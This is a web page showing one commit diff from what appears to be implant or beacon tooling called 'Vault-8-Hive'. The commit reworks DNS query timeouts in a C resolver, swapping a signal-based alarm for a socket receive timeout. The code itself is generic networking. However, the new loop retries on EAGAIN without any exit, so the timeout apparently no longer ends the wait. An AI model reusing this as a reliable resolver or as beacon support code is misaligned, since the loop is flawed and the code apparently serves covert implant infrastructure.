Projects STRLCPY Vault-8-Hive Commits 0ba875c4
🤬
  • Modify implementation of timeout on DNS queries to eliminate beacon failures on some platforms due to DNS response failure.

  • Loading...
  • User #142 committed 9 years ago
    0ba875c4
    1 parent 54c338d5
  • ■ ■ ■ ■ ■ ■
    server/dns_client.c
    1  -#include <sys/types.h>
    2  -#include <sys/socket.h>
    3 1  #include <arpa/inet.h>
    4  -#include <netinet/in.h>
     2 +#include <errno.h>
    5 3  #include <signal.h>
    6 4  #include <string.h>
    7 5  #include <stdio.h>
    8 6  #include <stdlib.h>
    9 7  #include <string.h>
    10 8  #include <unistd.h>
     9 +#include <netinet/in.h>
     10 +#include <sys/socket.h>
     11 +#include <sys/types.h>
    11 12  #include "dns_protocol.h"
    12 13  #include "decode_dns.h"
    13 14  #include "debug.h"
    14  - 
    15  -enum {WAITING = 0, TIMED_OUT = 1} response_timeout;
    16 15   
    17 16  /*!
    18 17   * @brief Perform DNS lookup
    skipped 10 lines
    29 28   DNS_header *header;
    30 29   DNS_response *response;
    31 30   
     31 + int sock;
    32 32   struct sockaddr_in sin;
    33 33   int sin_len = sizeof(sin);
    34  - int sock;
    35 34   
    36  - struct sigaction response_timer;
     35 + struct timeval timer;
    37 36   void *qp;
    38 37   size_t buflen = 0;
    39 38   char *p;
    40 39   int n;
    41 40   uint16_t queryID = 0;
     41 + 
     42 + timer.tv_sec = DNS_TIMEOUT;
     43 + timer.tv_usec = 0;
    42 44   
    43 45   DLX(5,printf("Attempting to resolve %s\n", ip));
    44 46   if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
    45 47   DLX(4, perror("Could not create socket"));
    46 48   return NULL;
     49 + }
     50 + if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timer, sizeof(struct timeval)) < 0) {
     51 + DLX(4, printf("Failed to set timeout on socket: %s\n", strerror(errno)));
    47 52   }
    48 53   memset((char *) &sin, 0, sizeof(sin));
    49 54   sin.sin_family = AF_INET;
    skipped 36 lines
    86 91   free(tbuf);
    87 92   }
    88 93   // Send DNS query
    89  - DLX(5,printf("Sending DNS query...\n"));
     94 + DLX(5,printf("Sending DNS query using socket: %d ...\n", sock));
    90 95   buflen = (size_t)qp - (size_t)buf;
    91 96   DPB(6, "DNS Query: ", buf, buflen);
    92 97   n = sendto(sock, buf, buflen, 0, (struct sockaddr *) &sin, sin_len);
    skipped 6 lines
    99 104  //*************************************************************************************************
    100 105   
    101 106   // Wait for DNS server response
    102  - response_timer.sa_handler = timeout_handler;
    103  - if ((sigaction(SIGALRM, &response_timer, NULL)) != 0) {
    104  - DLX(4, perror("Timeout setup"));
    105  - }
    106  - response_timeout = WAITING;
    107  - alarm(DNS_TIMEOUT);
     107 + 
    108 108   response = (DNS_response *)buf;
    109 109   DLX(4,printf("Waiting for response from DNS server...\n"));
    110 110   do {
    111 111   n = recv(sock, buf, MAX_MSG_LENGTH, 0);
    112 112   if (n < 0) {
    113  - DLX(4, perror("Error receiving DNS response"));
     113 + if (errno == EAGAIN)
     114 + continue;
    114 115   close(sock);
    115 116   return NULL;
    116 117   }
    skipped 1 lines
    118 119   DLX(4, printf("Packet received is %i bytes -- too small for a DNS response\n", n));
    119 120   continue;
    120 121   header = (DNS_header *)buf;
    121  - } while (ntohs(header->id) != queryID && !header->qr && response_timeout == WAITING); // QR must be set and the header ID must match the queryID
     122 + DL(5);
     123 + } while (ntohs(header->id) != queryID && !header->qr); // QR must be set and the header ID must match the queryID
    122 124   close(sock);
    123  - alarm(0); // Kill timer
    124  - 
    125  - if (response_timeout == TIMED_OUT) {
    126  - DLX(4, printf("No response from DNS server\n"));
    127  - return NULL;
    128  - }
    129 125   
    130 126   if (header->ancount == 0) {
    131 127   DLX(4, printf("%s did not resolve\n", ip));
    skipped 3 lines
    135 131   return (decode_dns(response));
    136 132  }
    137 133   
    138  -void timeout_handler(int signal)
    139  -{
    140  - if (signal == SIGALRM) {
    141  - DLX(4, printf("DNS lookup timed out.\n"));
    142  - response_timeout = TIMED_OUT;
    143  - }
    144  -}
    145  - 
Please wait...
Page is in error, reload to recover